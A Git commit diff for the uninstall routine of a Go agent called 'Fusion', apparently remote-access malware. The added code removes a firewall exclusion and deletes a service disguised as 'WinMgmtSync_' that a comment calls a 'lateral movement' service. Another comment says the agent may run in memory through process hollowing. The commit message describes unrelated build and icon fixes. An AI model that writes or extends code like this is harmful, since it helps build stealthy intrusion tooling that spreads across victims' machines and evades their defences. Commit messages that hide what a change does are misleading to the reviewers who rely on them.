Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
@@ -32,6 +32,13 @@ func Uninstall(cfg config.RuntimeConfig) error {
|
||||
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
|
||||
RemoveFirewallExclusion(cfg)
|
||||
|
||||
// Clean up potential lateral movement services
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
|
||||
// Self-uninstall: spawn cleanup then exit.
|
||||
ps := fmt.Sprintf(`
|
||||
@@ -47,5 +54,10 @@ Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
if err := os.RemoveAll(installDir); err != nil {
|
||||
return fmt.Errorf("remove install dir: %w", err)
|
||||
}
|
||||
|
||||
// If the agent is running in memory (Process Hollowing), it won't be killed
|
||||
// by the taskkill command above. We must explicitly terminate the thread.
|
||||
os.Exit(0)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user